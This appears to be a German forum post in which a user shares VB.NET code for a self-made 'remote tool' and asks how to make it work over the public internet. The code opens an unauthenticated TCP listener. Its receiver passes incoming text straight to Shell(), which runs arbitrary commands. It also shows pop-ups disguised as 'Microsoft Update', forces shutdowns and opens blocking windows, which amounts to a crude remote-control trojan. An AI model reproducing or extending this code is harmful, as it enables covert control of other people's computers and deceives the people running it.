Hi!
Ich habe ein Remote-Tool programmiert welches mit Manager(Chef) und Client(Empfänger) arbeitet hier die Codes:
Das läuft aber nur übers Netzwerk und zwar über die Verbindungs Art TCP!
Und jetzt mein Problem:
Ich würde das auch gerne über die Öffentliche IP laufen lassen(die findet man raus unter: Öffentliche IP herausfinden
Nur wie kann ich das noch in mein Programm einprogrammieren das es über die Öffentliche IP laüft? Könnt iht mir da helfen?
Grüße @TheForce:
Ich habe ein Remote-Tool programmiert welches mit Manager(Chef) und Client(Empfänger) arbeitet hier die Codes:
VB.NET-Quellcode
- Imports System.Net.Sockets
- Imports System.Threading
- Imports System.IO
- Public Class Form2
- Dim listener As New TcpListener(80)
- Dim client As TcpClient
- Dim message As String = ""
- Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
- listener.Stop()
- End Sub
- Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
- Dim listthread As New Thread(New ThreadStart(AddressOf listening))
- listthread.Start()
- ListBox1.Items.Add("Anwendung starten")
- ListBox1.Items.Add("Nachricht senden")
- ListBox1.Items.Add("Windows herunterfahren")
- ListBox1.Items.Add("Windows herunterfahren abbrechen")
- ListBox1.Items.Add("Öffnet Pum 1.2")
- ListBox1.Items.Add("Blockieren")
- ListBox1.Items.Add("Blockierung aufheben")
- End Sub
- Private Sub listening()
- listener.Start()
- End Sub
- Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
- Dim nachricht As String
- Select Case ListBox1.SelectedIndex
- Case 0
- nachricht = "00" & TextBox2.Text
- Case 1
- nachricht = "01" & TextBox2.Text
- Case 2
- nachricht = "02"
- Case 3
- nachricht = "03"
- Case 4
- nachricht = "04"
- Case 5
- nachricht = "05"
- Case 6
- nachricht = "06"
- Case Else
- nachricht = ""
- End Select
- client = New TcpClient(TextBox1.Text, 80)
- Dim writer As New StreamWriter(client.GetStream)
- writer.Write(nachricht)
- TextBox2.Clear()
- writer.Flush()
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- If listener.Pending = True Then
- message = ""
- client = listener.AcceptTcpClient()
- Dim reader As New StreamReader(client.GetStream())
- While reader.Peek > -1
- message = message + Convert.ToChar(reader.Read()).ToString
- End While
- empfangsmodul(message)
- Else : End If
- End Sub
- Private Sub empfangsmodul(ByVal message As String)
- Dim befehl As String, parameter As String
- befehl = Mid(message, 1, 2)
- parameter = Mid(message, 3)
- Select Case befehl
- Case "00"
- Shell(parameter)
- Case "01"
- MsgBox(parameter, MsgBoxStyle.Information, "Microsoft Update")
- Case "02"
- Shell("shutdown -s -t 60")
- Case "03"
- Shell("shutdown -a")
- MsgBox("Ihr Herunterfahren wurde abgebrochen", MsgBoxStyle.Information, "")
- Case "04"
- Form3.Show()
- Case "05"
- Timer4.Start()
- Case "06"
- Timer5.Start()
- Case Else
- End Select
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- End Sub
- Private Sub GroupBox1_Enter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles GroupBox1.Enter
- End Sub
- Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged
- End Sub
- Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
- End Sub
- Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
- MsgBox("Mit Server Verbunden", MsgBoxStyle.Information, "Verbindung")
- End Sub
- Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)
- End Sub
- Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
- Form3.Show()
- End Sub
- Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
- Form4.Show()
- End Sub
- Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
- Form5.Show()
- End Sub
- End Class
Das läuft aber nur übers Netzwerk und zwar über die Verbindungs Art TCP!
Und jetzt mein Problem:
Ich würde das auch gerne über die Öffentliche IP laufen lassen(die findet man raus unter: Öffentliche IP herausfinden
Nur wie kann ich das noch in mein Programm einprogrammieren das es über die Öffentliche IP laüft? Könnt iht mir da helfen?
Grüße @TheForce:
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „TheForce“ ()